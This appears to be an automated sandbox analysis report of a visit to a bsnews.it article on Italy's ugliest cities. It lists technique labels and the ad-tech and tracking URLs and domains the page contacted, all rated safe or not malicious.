Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
https://www.bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica	0%	Avira URL Cloud	safe

Source	Detection	Scanner	Label	Link
https://ads.viralize.tv/track/?multi=true&serialization=json&events=%5B%7B%22ver%22%3A3%2C%22type%22%3A%22event%22%2C%22category%22%3A%22bid_opportunity%22%2C%22session_id%22%3A%2201eeece05a1cab0c910a7df5dd4b4bb2%3A0%3A1hq245k52-mh3uhml8g0g-YWRuXzEyMzI1GgOsS9vDSiU%3D-wp10sc2%22%2C%22bid_opportunity_id%22%3A%221hq245k52-mh3uhml8g0g-YWRuXzEyMzI1GgOsS9vDSiU%3D-wp10sc2%22%2C%22label%22%3A%22bid_rejected%22%2C%22reason%22%3A%22ok%22%7D%5D	0%	Avira URL Cloud	safe
https://bsnews.it/wp-content/uploads/2017/03/BSNEWS_verticale-1.jpg	0%	Avira URL Cloud	safe
https://ads.stickyadstv.com/user-matching?id=3663&gdpr=0&gdpr_consent=	0%	Avira URL Cloud	safe
https://cdn.bidbrain.app/ng-assets/creative/assets/index-be69d0ff.js	0%	Avira URL Cloud	safe
https://bsnews.it/notizie-per-comune-provincia-brescia/	0%	Avira URL Cloud	safe
https://id5-sync.com/c/164/429/7/3.gif?puid=01F5328A-C4D9-44AD-8468-60A885247C68&gdpr=0&gdpr_consent=	0%	Avira URL Cloud	safe
https://ads.viralize.tv/track/?multi=true&serialization=json&events=%5B%7B%22ver%22%3A3%2C%22type%22%3A%22event%22%2C%22category%22%3A%22bid_opportunity%22%2C%22session_id%22%3A%2201eeece05a1cab0c910a7df5dd4b4bb2%3A0%3A1hq243hmi-omn5ip7g8t8-YWRuXzEwNDc5p_I24Wi20QM%3D-wp2sc1%22%2C%22bid_opportunity_id%22%3A%221hq243hmi-omn5ip7g8t8-YWRuXzEwNDc5p_I24Wi20QM%3D-wp2sc1%22%2C%22label%22%3A%22bid_error%22%2C%22reason%22%3A%2210002%22%7D%2C%7B%22ver%22%3A3%2C%22type%22%3A%22event%22%2C%22category%22%3A%22bid_opportunity%22%2C%22session_id%22%3A%2201eeece05a1cab0c910a7df5dd4b4bb2%3A0%3A1hq243hmi-omn5ip7g8t8-YWRuXzk2MjWCxtlYV3-91A%3D%3D-wp3sc1%22%2C%22bid_opportunity_id%22%3A%221hq243hmi-omn5ip7g8t8-YWRuXzk2MjWCxtlYV3-91A%3D%3D-wp3sc1%22%2C%22label%22%3A%22bid_error%22%2C%22reason%22%3A%2210002%22%7D%2C%7B%22ver%22%3A3%2C%22type%22%3A%22event%22%2C%22category%22%3A%22bid_opportunity%22%2C%22session_id%22%3A%2201eeece05a1cab0c910a7df5dd4b4bb2%3A0%3A1hq243hmi-omn5ip7g8t8-YWRuXzEyNjE3RlODMsC9Cdw%3D-wp4sc1%22%2C%22bid_opportunity_id%22%3A%221hq243hmi-omn5ip7g8t8-YWRuXzEyNjE3RlODMsC9Cdw%3D-wp4sc1%22%2C%22label%22%3A%22bid_error%22%2C%22reason%22%3A%2210002%22%7D%2C%7B%22ver%22%3A3%2C%22type%22%3A%22event%22%2C%22category%22%3A%22bid_opportunity%22%2C%22session_id%22%3A%2201eeece05a1cab0c910a7df5dd4b4bb2%3A0%3A1hq243hmi-omn5ip7g8t8-YWRuXzEyODc2jqIMjNw9_jo%3D-wp5sc1%22%2C%22bid_opportunity_id%22%3A%221hq243hmi-omn5ip7g8t8-YWRuXzEyODc2jqIMjNw9_jo%3D-wp5sc1%22%2C%22label%22%3A%22bid_error%22%2C%22reason%22%3A%2210002%22%7D%2C%7B%22ver%22%3A3%2C%22type%22%3A%22event%22%2C%22category%22%3A%22bid_opportunity%22%2C%22session_id%22%3A%2201eeece05a1cab0c910a7df5dd4b4bb2%3A0%3A1hq243hmi-omn5ip7g8t8-YWRuXzEyMjk48mlClZFQ29k%3D-wp6sc1%22%2C%22bid_opportunity_id%22%3A%221hq243hmi-omn5ip7g8t8-YWRuXzEyMjk48mlClZFQ29k%3D-wp6sc1%22%2C%22label%22%3A%22bid_error%22%2C%22reason%22%3A%2210002%22%7D%5D	0%	Avira URL Cloud	safe
https://cookies.nextmillmedia.com/sync?type=image&gdpr=	0%	Avira URL Cloud	safe
https://ads.stickyadstv.com/user-matching?id=3663&gdpr=0&gdpr_consent=	0%	Virustotal		Browse
https://bsnews.it/notizie-per-comune-provincia-brescia/	0%	Virustotal		Browse
https://bsnews.it/wp-content/themes/Newspaper/images/icons/newspaper.woff?23	0%	Avira URL Cloud	safe
https://cookies.nextmillmedia.com/sync?type=image&gdpr=	0%	Virustotal		Browse
https://bsnews.it/wp-content/uploads/2024/03/BSNEWS-728-x-90-1.gif	0%	Avira URL Cloud	safe
https://bsnews.it/wp-content/uploads/2017/03/BSNEWS_verticale-1.jpg	0%	Virustotal		Browse
https://ads.viralize.tv/t-bid-opportunity/?zid=AACAFQeVCHLlefG8&u=https%3A%2F%2Fbsnews.it%2F2015%2F01%2F23%2Fle-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica%2F&t=adn&hcid=c3RhbmRhbG9uZRpujSbK2oF8&sid=01eeece05a1cab0c910a7df5dd4b4bb2&item=YWRuXzk3MDiUeSSHVU0ceQ%3D%3D.15.1hq243hmi-omn5ip7g8t8-YWRuXzk3MDiUeSSHVU0ceQ%3D%3D-wp15sc1	0%	Avira URL Cloud	safe
https://thrtle.com/insync?vxii_pid=10067&vxii_pdid=01F5328A-C4D9-44AD-8468-60A885247C68&gdpr=0&gdpr_	0%	Avira URL Cloud	safe
https://cs-server-s2s.yellowblue.io/cs?aid=11584&uid=VqAn9SSXXnSPTHOvdzia&gdpr=0&gdpr_consent=&us_privacy=	0%	Avira URL Cloud	safe
https://sync.a-mo.net/setuid?A=10735680-48cc-46aa-8323-b54c7155938b&bidder=appnexus&uid=3287041831475129344	0%	Avira URL Cloud	safe
https://bsnews.it/category/notizie/notizie-categoria/	0%	Avira URL Cloud	safe
https://partners.tremorhub.com/syncnoad?rid=30f2e100c3804685b89bc432e7fc41cf&p=thetradedesk%2Cappnex	0%	Avira URL Cloud	safe
https://gw-iad-bid.ymmobi.com/adx/user/sync?pubid=ZXBsYW5uaW5n&gdpr=${GDPR}&gdpr_consent=${GDPR_CONSENT}&us_privacy=${US_PRIVACY}&callback=https%3A%2F%2Fu-iad04.e-planning.net%2Fum%3Fuid%3D%7Bym_user_id%7D%26dc%3Ddbfd729d40c9c3fc%26fi%3Db908337b94350305	0%	Avira URL Cloud	safe
https://bsnews.it/author/atortelli_jt869600/	0%	Avira URL Cloud	safe
https://partners.tremorhub.com/syncnoad?rid=30f2e100c3804685b89bc432e7fc41cf&p=deepintent%2Cadvangelists%2Cmartinai%2Cacuityads%2C_google_dfp%2C_dmp_turbine%2C_dmp_krux%2C_dmp_adobe%2C_dmp_lotame&uid=5c99a009bd184d5ca3b7885003b720e3&vv=3.0&gdpr=0&gdpr_consent=1	0%	Avira URL Cloud	safe
https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/?relatedposts=1	0%	Avira URL Cloud	safe
https://cdn.indexww.com/ht/htw-pixel.gif?ZgUvi9HM46UAADq7ABhzMwAA%262753	0%	Avira URL Cloud	safe
https://a.audrte.com/match?gdpr=0&gdpr_consent=&p=M1717054901&uid=01F5328A-C4D9-44AD-8468-60A885247C68	0%	Avira URL Cloud	safe
https://ads.servenobid.com/sync?pid=337&uid=y-GXV3K9BE2uGeEFCGYk4kXshpuItw5ZjnPzaqOJs-~A	0%	Avira URL Cloud	safe
https://bpi.rtactivate.com/tag/?id=20909&user_id=01F5328A-C4D9-44AD-8468-60A885247C68&gdpr=0&gdpr_consent=	0%	Avira URL Cloud	safe
https://sync.ipredictive.com/d/sync/cookie/generic?partner=gumgum&cspid=9&append=1&cb=${ADELPHIC_CACHE_BUSTER}&gdpr=&gdpr_consent=&us_privacy=&redirect=https%3A%2F%2Fusersync.gumgum.com%2Fusersync%3Fb%3Dvnt%26i%3D	0%	Avira URL Cloud	safe
https://api.attentionxyz.com/api/event/1454	0%	Avira URL Cloud	safe
https://ads.servenobid.com/sync?pid=310&uid=IZUTABZHDx9FBBjNRfKWNwm_	0%	Avira URL Cloud	safe
https://bsnews.it/category/notizie/notizie-categoria/	0%	Virustotal		Browse
https://bsnews.it/wp-content/plugins/wp-bannerize-pro/public/js/wp-bannerize-impressions.min.js?ver=1.6.9	0%	Avira URL Cloud	safe
https://ads.viralize.tv/track/?multi=true&serialization=json&events=%5B%7B%22ver%22%3A3%2C%22type%22%3A%22event%22%2C%22category%22%3A%22bid_opportunity%22%2C%22session_id%22%3A%2201eeece05a1cab0c910a7df5dd4b4bb2%3A0%3A1hq243hmi-omn5ip7g8t8-YWRuXzEyMTAzVPRGN0rXvd0%3D-wp13sc1%22%2C%22bid_opportunity_id%22%3A%221hq243hmi-omn5ip7g8t8-YWRuXzEyMTAzVPRGN0rXvd0%3D-wp13sc1%22%2C%22label%22%3A%22bid_rejected%22%2C%22reason%22%3A%22ok%22%7D%5D	0%	Avira URL Cloud	safe
https://x.bidswitch.net/sync?ssp=tremor&user_id=5c99a009bd184d5ca3b7885003b720e3&gdpr=0&gdpr_consent	0%	Avira URL Cloud	safe
https://sync.ipredictive.com/d/sync/cookie/generic?partner=gumgum&cspid=9&append=1&cb=${ADELPHIC_CACHE_BUSTER}&gdpr=&gdpr_consent=&us_privacy=&redirect=https%3A%2F%2Fusersync.gumgum.com%2Fusersync%3Fb%3Dvnt%26i%3D	0%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
um.simpli.fi	34.150.170.96	true	false	high
bsd.frontend.weborama.fr	34.107.182.139	true	false	high
1.gravatar.com	192.0.73.2	true	false	high
rtb-csync-use1.smartadserver.com	23.105.12.150	true	false	high
global.px.quantserve.com	192.184.68.215	true	false	high
ssum.casalemedia.com	104.18.36.155	true	false	high
us-east-eb2.3lift.com	35.71.139.29	true	false	high
rtb.openx.net	35.186.253.211	true	false	high
bttrack.com	192.132.33.68	true	false	unknown
1.cpm.ak-is2.net	174.137.133.32	true	false	unknown
hb-api-us-west-2.omnitagjs.com	52.41.55.190	true	false	high
dheoaz9svaqd1.cloudfront.net	18.160.10.58	true	false	high
dcs-public-edge-va6-158015560.us-east-1.elb.amazonaws.com	34.205.236.190	true	false	high
crb.kargo.com	3.209.218.8	true	false	high
mwzeom.zeotap.com	104.22.50.98	true	false	high
r.casalemedia.com	104.18.36.155	true	false	high
api-2-0.spot.im	18.160.41.114	true	false	high
id.rlcdn.com	35.244.154.8	true	false	high
scontent-iad3-1.xx.fbcdn.net	31.13.66.19	true	false	high
bcp.crwdcntrl.net	52.207.168.130	true	false	high
match.adsrvr.org	3.33.220.150	true	false	high
rtactivateloadbalancer-2076579973.us-east-1.elb.amazonaws.com	3.222.105.150	true	false	high
gumgum.com	146.75.30.132	true	false	high
pagead-googlehosted.l.google.com	172.253.115.132	true	false	high
creativecdn.com	185.184.8.90	true	false	high
pugm-vac.pubmnet.com	8.28.7.81	true	false	unknown
do-default-lb.dxkulture.com	45.55.126.71	true	false	unknown
m.deepintent.com	8.18.47.7	true	false	unknown
pixel-sync.sitescout.com	34.36.216.150	true	false	high
gt.frontend.weborama.fr	34.144.196.102	true	false	high
pixel.onaudience.com	141.94.170.77	true	false	unknown
aba.gumgum.com	18.67.76.34	true	false	high
d1ykf07e75w7ss.cloudfront.net	3.162.128.169	true	false	high
sjc-direct-bgp.contextweb.com	74.214.196.131	true	false	high
ssum-sec.casalemedia.com	172.64.151.101	true	false	high
oajs.openx.net	34.120.135.53	true	false	high
oxp.mxptint.net	38.98.69.175	true	false	unknown
btlr-us-east-1.sharethrough.com	34.235.214.237	true	false	high
app.digitrend.it	146.59.136.188	true	false	high
config.aps.amazon-adsystem.com	18.160.10.17	true	false	high
hb.yahoo.net	23.40.62.8	true	false	high
c.gumgum.com	18.160.18.83	true	false	high
va-g2.gumgum.com	54.86.0.235	true	false	high
id.crwdcntrl.net	18.214.22.186	true	false	high
aes-p-aespr-b5p8dr7p2986-1657876250.us-east-1.elb.amazonaws.com	34.195.133.218	true	false	high
iad-2-sync.go.sonobi.com	69.166.1.35	true	false	high
hbx.media.net	23.222.200.28	true	false	high
hde.tynt.com	67.202.105.32	true	false	high
boot.pbstck.com	104.22.1.93	true	false	unknown
pghub.io	35.241.45.217	true	false	unknown
sync-jp.im-apps.net	23.48.104.109	true	false	high
prebid.smilewanted.com	104.22.30.209	true	false	high
scontent.xx.fbcdn.net	31.13.66.19	true	false	high
launchpad.privacymanager.io	108.156.120.115	true	false	unknown
rtb.adentifi.com	54.88.74.145	true	false	unknown
outbrain.map.fastly.net	146.75.30.132	true	false	unknown
tracker.neodatagroup.com	20.101.38.191	true	false	high
synchroscript.deliveryengine.adswizz.com	18.160.10.111	true	false	high
wildcard-ads-new-1653986885.us-east-1.elb.amazonaws.com	3.214.47.126	true	false	high
pugm-nje1.pubmnet.com	207.65.37.181	true	false	unknown
pub.admanmedia.com	8.2.110.27	true	false	high
pixel.tapad.com	34.111.113.62	true	false	high
a.nel.cloudflare.com	35.190.80.1	true	false	high
ssp.ads.betweendigital.com	172.240.127.129	true	false	high
sync-dmp.mobtrakk.com	5.161.124.197	true	false	unknown
gob-pairb-nje1.pubmnet.com	207.65.37.179	true	false	unknown
video.xx.fbcdn.net	31.13.66.28	true	false	high
usync.gumgum.com	44.210.155.144	true	false	high
raptor-prd-ue1-alb-1693497337.us-east-1.elb.amazonaws.com	3.231.108.23	true	false	high
media.amazon.map.fastly.net	151.101.129.16	true	false	unknown
idsync.frontend.weborama.fr	34.111.131.239	true	false	high
outspot2-ams.adx.opera.com	82.145.213.8	true	false	high
match.adsby.bidtheatre.com	134.122.57.34	true	false	unknown
hb-api-usa02.omnitagjs.com	195.244.31.10	true	false	high
feed.pghub.io	34.102.243.38	true	false	unknown
s0.wp.com	192.0.77.32	true	false	high
ssbsync-usw1.smartadserver.com	23.83.76.53	true	false	high
matching.truffle.bid	162.55.120.196	true	false	unknown
jsdelivr.map.fastly.net	151.101.65.229	true	false	unknown
nmc-bifrost-green.ew1-red.nielsendigital.net	52.210.206.4	true	false	unknown
d2avimlm6gq3h9.cloudfront.net	99.84.210.115	true	false	high
sni1gl.wpc.alphacdn.net	152.195.19.97	true	false	unknown
jelly.mdhv.io	216.239.32.21	true	false	unknown
eu-u.openx.net	35.244.159.8	true	false	high
d1863ctvwyyq5.cloudfront.net	52.85.61.101	true	false	high
c0.wp.com	192.0.77.37	true	false	high
launchpad-wrapper.privacymanager.io	52.85.151.46	true	false	unknown
na-ice.360yield.com	52.205.169.46	true	false	high
pug-vac.pubmnet.com	8.28.7.83	true	false	unknown
idaas-ext.cph.liveintent.com	54.84.169.242	true	false	high
ds-pr-bh.ybp.gysm.yahoodns.net	184.73.166.124	true	false	unknown
sync.1rx.io	69.194.240.13	true	false	high
d1402xccwihzsp.cloudfront.net	52.85.132.66	true	false	high
fp2e18.wpc.deltacdn.net	152.199.6.140	true	false	unknown
star-mini.c10r.facebook.com	157.240.229.35	true	false	high
onesignal.com	104.18.214.59	true	false	high
us-u.openx.net	34.98.64.218	true	false	high
nydc1.outbrain.org	70.42.32.127	true	false	unknown
securepubads46.g.doubleclick.net	142.251.16.157	true	false	high
pool-use-gce-sc.reims.iponweb.net	35.211.118.13	true	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://hb-api.omnitagjs.com/hb-api/prebid/v1?RefererUrl=https%3A%2F%2Fbsnews.it%2F2015%2F01%2F23%2Fle-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica%2F&PageUrl=https%3A%2F%2Fbsnews.it%2F2015%2F01%2F23%2Fle-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica%2F&PageReferrer=https%3A%2F%2Fbsnews.it%2F2015%2F01%2F23%2Fle-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica%2F&CanonicalUrl=https%3A%2F%2Fwww.bsnews.it%2F2015%2F01%2F23%2Fle-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica%2F	false		high
https://cdn.bidbrain.app/ng-assets/creative/assets/index-be69d0ff.js	false	Avira URL Cloud: safe	unknown
https://sync.srv.stackadapt.com/sync?nid=1&gdpr=&gdpr_consent=	false		high
https://sync.smartadserver.com/getuid?gdpr=0&gdpr_consent=&url=https%3A%2F%2Fmwzeom.zeotap.com%2Fmw%3Fcid%3D[sas_uid]%26zpartnerid%3D592%26env%3DmWeb%26eventType%3Dpageview%26id_mid_4%3D5b95a3db-1a3a-4c5d-7bc4-805f128d851b%26reqId%3D212c3ed0-3dd8-4750-606c-8892c7edded6%26zdid%3D648	false		high
https://ads.viralize.tv/track/?multi=true&serialization=json&events=%5B%7B%22ver%22%3A3%2C%22type%22%3A%22event%22%2C%22category%22%3A%22bid_opportunity%22%2C%22session_id%22%3A%2201eeece05a1cab0c910a7df5dd4b4bb2%3A0%3A1hq245k52-mh3uhml8g0g-YWRuXzEyMzI1GgOsS9vDSiU%3D-wp10sc2%22%2C%22bid_opportunity_id%22%3A%221hq245k52-mh3uhml8g0g-YWRuXzEyMzI1GgOsS9vDSiU%3D-wp10sc2%22%2C%22label%22%3A%22bid_rejected%22%2C%22reason%22%3A%22ok%22%7D%5D	false	Avira URL Cloud: safe	unknown
https://id5-sync.com/c/164/429/7/3.gif?puid=01F5328A-C4D9-44AD-8468-60A885247C68&gdpr=0&gdpr_consent=	false	Avira URL Cloud: safe	unknown
https://csync.smilewanted.com/set_partner_userid_get/adform/4101133984087788602	false		high
https://s.amazon-adsystem.com/iu3?cm3ppd=1&d=dtb-pub&csif=t&dl=gg_pm-db5_rbd_smrt_an-db5_sovrn_3lift	false		high
https://ads.viralize.tv/track/?multi=true&serialization=json&events=%5B%7B%22ver%22%3A3%2C%22type%22%3A%22event%22%2C%22category%22%3A%22bid_opportunity%22%2C%22session_id%22%3A%2201eeece05a1cab0c910a7df5dd4b4bb2%3A0%3A1hq243hmi-omn5ip7g8t8-YWRuXzEwNDc5p_I24Wi20QM%3D-wp2sc1%22%2C%22bid_opportunity_id%22%3A%221hq243hmi-omn5ip7g8t8-YWRuXzEwNDc5p_I24Wi20QM%3D-wp2sc1%22%2C%22label%22%3A%22bid_error%22%2C%22reason%22%3A%2210002%22%7D%2C%7B%22ver%22%3A3%2C%22type%22%3A%22event%22%2C%22category%22%3A%22bid_opportunity%22%2C%22session_id%22%3A%2201eeece05a1cab0c910a7df5dd4b4bb2%3A0%3A1hq243hmi-omn5ip7g8t8-YWRuXzk2MjWCxtlYV3-91A%3D%3D-wp3sc1%22%2C%22bid_opportunity_id%22%3A%221hq243hmi-omn5ip7g8t8-YWRuXzk2MjWCxtlYV3-91A%3D%3D-wp3sc1%22%2C%22label%22%3A%22bid_error%22%2C%22reason%22%3A%2210002%22%7D%2C%7B%22ver%22%3A3%2C%22type%22%3A%22event%22%2C%22category%22%3A%22bid_opportunity%22%2C%22session_id%22%3A%2201eeece05a1cab0c910a7df5dd4b4bb2%3A0%3A1hq243hmi-omn5ip7g8t8-YWRuXzEyNjE3RlODMsC9Cdw%3D-wp4sc1%22%2C%22bid_opportunity_id%22%3A%221hq243hmi-omn5ip7g8t8-YWRuXzEyNjE3RlODMsC9Cdw%3D-wp4sc1%22%2C%22label%22%3A%22bid_error%22%2C%22reason%22%3A%2210002%22%7D%2C%7B%22ver%22%3A3%2C%22type%22%3A%22event%22%2C%22category%22%3A%22bid_opportunity%22%2C%22session_id%22%3A%2201eeece05a1cab0c910a7df5dd4b4bb2%3A0%3A1hq243hmi-omn5ip7g8t8-YWRuXzEyODc2jqIMjNw9_jo%3D-wp5sc1%22%2C%22bid_opportunity_id%22%3A%221hq243hmi-omn5ip7g8t8-YWRuXzEyODc2jqIMjNw9_jo%3D-wp5sc1%22%2C%22label%22%3A%22bid_error%22%2C%22reason%22%3A%2210002%22%7D%2C%7B%22ver%22%3A3%2C%22type%22%3A%22event%22%2C%22category%22%3A%22bid_opportunity%22%2C%22session_id%22%3A%2201eeece05a1cab0c910a7df5dd4b4bb2%3A0%3A1hq243hmi-omn5ip7g8t8-YWRuXzEyMjk48mlClZFQ29k%3D-wp6sc1%22%2C%22bid_opportunity_id%22%3A%221hq243hmi-omn5ip7g8t8-YWRuXzEyMjk48mlClZFQ29k%3D-wp6sc1%22%2C%22label%22%3A%22bid_error%22%2C%22reason%22%3A%2210002%22%7D%5D	false	Avira URL Cloud: safe	unknown
https://securepubads.g.doubleclick.net/gampad/ads?pvsid=1536995679409651&correlator=1246045674919086&eid=31079957%2C31081973%2C95327887%2C676982961%2C31078663%2C31078665%2C31078668%2C31078670&output=ldjh&gdfp_req=1&vrg=202403210101&ptt=17&impl=fifs&iu_parts=316816995%3A22653975935%2Cbsnews.it&enc_prev_ius=%2F0%2F1&prev_iu_szs=1x1&ifi=9&didk=1307626278&sfv=1-0-40&ists=1&eri=1&sc=1&cookie=ID%3D5a20f3698ac5543a%3AT%3D1711615883%3ART%3D1711615883%3AS%3DALNI_MYxr-qOKKEIyYFaKb9mH1zNwZzizw&gpic=UID%3D00000dd677e4c409%3AT%3D1711615883%3ART%3D1711615883%3AS%3DALNI_MaPd99p4hleXn7g9hP9Umghtsik5A&abxe=1&dt=1711615963320&lmt=1711560111&adxs=0&adys=13576&biw=1263&bih=907&scr_x=0&scr_y=0&btvi=2&ucis=4&oid=2&u_his=1&u_h=1024&u_w=1280&u_ah=984&u_aw=1280&u_cd=24&u_sd=1&u_tz=60&dmc=8&bc=31&nvt=1&uach=WyJXaW5kb3dzIiwiMTAuMC4wIiwieDg2IiwiIiwiMTE3LjAuNTkzOC4xMzIiLG51bGwsMCxudWxsLCI2NCIsW1siR29vZ2xlIENocm9tZSIsIjExNy4wLjU5MzguMTMyIl0sWyJOb3Q7QT1CcmFuZCIsIjguMC4wLjAiXSxbIkNocm9taXVtIiwiMTE3LjAuNTkzOC4xMzIiXV0sMF0.&url=https%3A%2F%2Fbsnews.it%2F2015%2F01%2F23%2Fle-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica%2F&vis=1&psz=1263x0&msz=1263x0&fws=0&ohw=0&ga_vid=30849489.1711615863&ga_sid=1711615882&ga_hid=1417903151&ga_fc=true&td=1&topics=3&tps=3&htps=10&nt=1&psd=WzE1LFtudWxsLFtbIi8zMTY4MTY5OTUsMjI2NTM5NzU5MzUvYnNuZXdzLml0IixbXV1dXSxudWxsLDNd&dlt=1711615858499&idt=23182&prev_scp=dom%3Dbsnews.it%26url%3D2015%252001%252023%2520le%2520citta%2520piu%2520brutte%2520d%2520italia%2520brescia%2520al%2520nono%2520posto%2520in%2520classifica%26pro%3Dhttps%253A&cust_params=consent%3Dyes&adks=4133122636&frm=20&eo_id_str=ID%3Dcc6c7834f606d8cb%3AT%3D1711615883%3ART%3D1711615883%3AS%3DAA-AfjaA5FLn8-B8c9rY-TlRBBKM	false		high
https://ts.amazon-adsystem.com/?s=%7B%22sourceid%22%3A%223627%22%2C%22sourcetype%22%3A%22dtb%22%2C%22traffictype%22%3A%22web%22%2C%22mediatype%22%3A%22display%22%7D&p=%7B%22ad_id%22%3A%22593028458723293686%22%2C%22request_bidid%22%3A%22ZqlTNgz5JGtRJWemKlOqJg%22%2C%22ep%22%3A%5B%22paa%22%5D%2C%22creative_id%22%3A%22592911586383749832%22%2C%22campaign_id%22%3A%22579886048148097626%22%2C%22is_3p%22%3Atrue%2C%22advertiser_id%22%3A%22588872500020555147%22%7D	false		high
https://bsnews.it/wp-content/themes/Newspaper/images/icons/newspaper.woff?23	false	Avira URL Cloud: safe	unknown
https://bsnews.it/wp-content/uploads/2024/03/BSNEWS-728-x-90-1.gif	false	Avira URL Cloud: safe	unknown
https://ads.viralize.tv/t-bid-opportunity/?zid=AACAFQeVCHLlefG8&u=https%3A%2F%2Fbsnews.it%2F2015%2F01%2F23%2Fle-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica%2F&t=adn&hcid=c3RhbmRhbG9uZRpujSbK2oF8&sid=01eeece05a1cab0c910a7df5dd4b4bb2&item=YWRuXzk3MDiUeSSHVU0ceQ%3D%3D.15.1hq243hmi-omn5ip7g8t8-YWRuXzk3MDiUeSSHVU0ceQ%3D%3D-wp15sc1	false	Avira URL Cloud: safe	unknown
https://sync.1rx.io/usersync2/pubmatic&gdpr=0&gdpr_consent=	false		high
https://images-na.ssl-images-amazon.com/images/G/01/da/adchoices/ac-topright-sprite.png	false		high
https://u-iad04.e-planning.net/um?dc=99e41df815fd80b4&fi=b908337b94350305&uid=ZgUvi9HM46UAADq7ABhzMwAA%262753	false		high
https://gum.criteo.com/sid/json?origin=publishertag&domain=bsnews.it&sn=ChromeSyncframe&so=3&topUrl=bsnews.it&bundle=wLOPBF83TVZkaWJnbG85NThIWE5JaFBac1lIejYyM1NZd1FBUjVRJTJCOVhJVEpiOXN2ejJLUTQxaG9Nb2lib3l4dEVRclFqNXl2dmtnck5BQjA3WnY3VXNlZTZUTlNrS3BseSUyRmcxRFRjJTJGTVM0bTRaZ0VOcHlHd0d6bVdtS2R0VzhCQ0JQYVhzVG1FJTJGdERWTHVCM0MyM05WeUZvUSUzRCUzRA&cw=1&lsw=1&topicsavail=1&fledgeavail=1	false		high
https://ce.lijit.com/merge?pid=80&3pid=LUAZWR6K-1-KJTQ&gdpr=0	false		high
https://ads.pubmatic.com/AdServer/js/user_sync.html?predirect=https%3A%2F%2Fusersync.gumgum.com%2Fusersync%3Fb%3Dpbm%26i%3D&gdpr=0&gdprConsent=	false		high
https://image4.pubmatic.com/AdServer/SPug?partnerID=156078&xid=y-pQAJyVdE2uUz4QrEAeJfRu2InuljHjM-~A&gdpr=0	false		high
https://ssc-cms.33across.com/ps/?xi=1&xu=LUAZWPEM-F-4532	false		high
https://simage2.pubmatic.com/AdServer/Pug?gdpr_consent=&gdpr=0&piggybackCookie=uid:eb897fe6-5a9d-4941-ab0f-e799aee2b14d&vcode=bz0yJnR5cGU9MSZjb2RlPTMwNjImdGw9MTI5NjAw	false		high
https://tags.crwdcntrl.net/lt/c/16589/sync.min.js	false		high
https://cs-server-s2s.yellowblue.io/cs?aid=11584&uid=VqAn9SSXXnSPTHOvdzia&gdpr=0&gdpr_consent=&us_privacy=	false	Avira URL Cloud: safe	unknown
https://sync.a-mo.net/setuid?A=10735680-48cc-46aa-8323-b54c7155938b&bidder=appnexus&uid=3287041831475129344	false	Avira URL Cloud: safe	unknown
https://redirect.frontend.weborama.fr/redirect/standard?url=https%3A%2F%2Fim.tncid.app%2Fgif%3Feid%3D734dd05d-8607-4883-b435-740962a3225a%26tncid%3D99921668-090e-4aef-b22a-32a080950c4a%263puuid%3D%7BWEBO_CID%7D%263pid%3Da0f846a5-be22-4884-b857-fa3a0cda1601	false		high
https://ce.lijit.com/merge?pid=58&3pid=01F5328A-C4D9-44AD-8468-60A885247C68&us_privacy=&gdpr=0&gdpr_consent=&location=https%3A%2F%2Fid5-sync.com%2Fc%2F164%2F1242%2F6%2F4.gif%3Fpuid%3D%5BSOVRNID%5D%26gdpr%3D0%26gdpr_consent%3D&s=id5	false		high
https://securepubads.g.doubleclick.net/gampad/ads?pvsid=1536995679409651&correlator=4021198300896108&eid=31079957%2C31081973%2C95327887%2C31078663%2C31078665%2C31078668%2C31078670&output=ldjh&gdfp_req=1&vrg=202403210101&ptt=17&impl=fifs&iu_parts=150134580%3A22663223301%2Cbsnews_dsk_intro&enc_prev_ius=%2F0%2F1&prev_iu_szs=1000x500%7C1x8&ifi=1&didk=2826984766&sfv=1-0-40&eri=1&sc=1&cookie_enabled=1&abxe=1&dt=1711615881767&lmt=1711560111&adxs=0&adys=13555&biw=1263&bih=907&scr_x=0&scr_y=0&btvi=1&ucis=1&oid=2&u_his=1&u_h=1024&u_w=1280&u_ah=984&u_aw=1280&u_cd=24&u_sd=1&u_tz=60&dmc=8&bc=31&nvt=1&uach=WyJXaW5kb3dzIiwiMTAuMC4wIiwieDg2IiwiIiwiMTE3LjAuNTkzOC4xMzIiLG51bGwsMCxudWxsLCI2NCIsW1siR29vZ2xlIENocm9tZSIsIjExNy4wLjU5MzguMTMyIl0sWyJOb3Q7QT1CcmFuZCIsIjguMC4wLjAiXSxbIkNocm9taXVtIiwiMTE3LjAuNTkzOC4xMzIiXV0sMF0.&url=https%3A%2F%2Fbsnews.it%2F2015%2F01%2F23%2Fle-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica%2F&vis=1&psz=1263x13576&msz=1000x-1&fws=512&ohw=0&ga_vid=30849489.1711615863&ga_sid=1711615882&ga_hid=1417903151&ga_fc=true&td=1&topics=9&tps=9&htps=10&nt=1&psd=WzE1LFtudWxsLFtbIi8xNTAxMzQ1ODAsMjI2NjMyMjMzMDEvYnNuZXdzX2Rza19pbnRybyIsW11dXV0sbnVsbCwzXQ..&dlt=1711615858499&idt=23182&prev_scp=refreshType%3Dinstant%26refreshCount%3D0&cust_params=consent%3Dyes&adks=3120347037&frm=20	false		high
